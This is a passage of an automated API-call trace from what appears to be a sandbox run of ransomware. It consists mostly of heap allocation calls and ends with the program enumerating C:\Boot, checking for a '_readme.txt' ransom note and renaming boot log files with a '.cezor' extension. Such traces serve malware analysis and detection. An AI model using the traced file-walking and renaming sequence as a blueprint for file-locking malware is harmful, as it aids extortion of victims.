Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.458] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.458] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.459] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.459] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.460] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.460] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.461] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.461] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.462] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.462] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x860) returned 0x306a418 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0xc46) returned 0x3068dd8 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x3068dd8 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x840) returned 0x30c8230 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.463] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.463] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8230 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.464] PathFindFileNameW (pszPath="C:\\Boot\\") returned="Boot\\" [0059.464] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.464] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0059.464] PathFindFileNameW (pszPath="") returned="" [0059.464] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e5888 [0059.464] LoadLibraryW (lpLibFileName="Shell32.dll") returned 0x75fd0000 [0059.465] GetProcAddress (hModule=0x75fd0000, lpProcName="SHGetFolderPathW") returned 0x76055708 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x800) returned 0x306a418 [0059.465] SHGetFolderPathW (in: hwnd=0x0, csidl=40, hToken=0x0, dwFlags=0x0, pszPath=0x306a418 | out: pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 0x0 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e5888 | out: hHeap=0x670000) returned 1 [0059.465] FreeLibrary (hLibModule=0x75fd0000) returned 1 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x306a418 | out: hHeap=0x670000) returned 1 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x810) returned 0x30c8230 [0059.465] PathAppendW (in: pszPath="C:\\Boot\\", pMore="_readme.txt" | out: pszPath="C:\\Boot\\_readme.txt") returned 1 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x820) returned 0x30c8ab8 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.465] PathFileExistsW (pszPath="C:\\Boot\\_readme.txt") returned 1 [0059.465] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30c8230 | out: hHeap=0x670000) returned 1 [0059.465] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.465] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3038588 [0059.466] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.466] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x13a0d2f0, ftLastAccessTime.dwHighDateTime=0x1d53559, ftLastWriteTime.dwLowDateTime=0x13a0d2f0, ftLastWriteTime.dwHighDateTime=0x1d53559, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0059.466] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0x2ebf9340, ftLastAccessTime.dwHighDateTime=0x1d4d597, ftLastWriteTime.dwLowDateTime=0x2ebf9340, ftLastWriteTime.dwHighDateTime=0x1d4d597, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD", cAlternateFileName="")) returned 1 [0059.466] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.466] PathFindExtensionW (pszPath="C:\\Boot\\BCD") returned="" [0059.466] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.466] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac2e8a60, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac2e8a60, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0x469b3b00, ftLastWriteTime.dwHighDateTime=0x1d4d596, nFileSizeHigh=0x0, nFileSizeLow=0x5400, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0059.466] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.466] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG") returned=".LOG" [0059.466] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG" (normalized: "c:\\boot\\bcd.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0059.466] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.466] FindNextFileW (in: hFindFile=0x3038588, lpFindFileData=0x9aafba4 | out: lpFindFileData=0x9aafba4*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xac30ebc0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac30ebc0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac30ebc0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0059.466] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x20) returned 0x30e56d0 [0059.466] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d4828 [0059.466] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30e56d0 | out: hHeap=0x670000) returned 1 [0059.466] PathFindExtensionW (pszPath="C:\\Boot\\BCD.LOG1") returned=".LOG1" [0059.466] CreateFileW (lpFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c4 [0059.467] GetFileSizeEx (in: hFile=0x5c4, lpFileSize=0x9aafb4c | out: lpFileSize=0x9aafb4c*=0) returned 1 [0059.467] CloseHandle (hObject=0x5c4) returned 1 [0059.467] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x30) returned 0x30d47b8 [0059.467] RtlAllocateHeap (HeapHandle=0x670000, Flags=0x0, Size=0x830) returned 0x30c8230 [0059.467] HeapFree (in: hHeap=0x670000, dwFlags=0x0, lpMem=0x30d47b8 | out: hHeap=0x670000) returned 1 [0059.467] MoveFileW (lpExistingFileName="C:\\Boot\\BCD.LOG1" (normalized: "c:\\boot\\bcd.log1"), lpNewFileName="C:\\Boot\\BCD.LOG1.cezor" (normalized: "c:\\boot\\bcd.log1.cezor")) returned 1 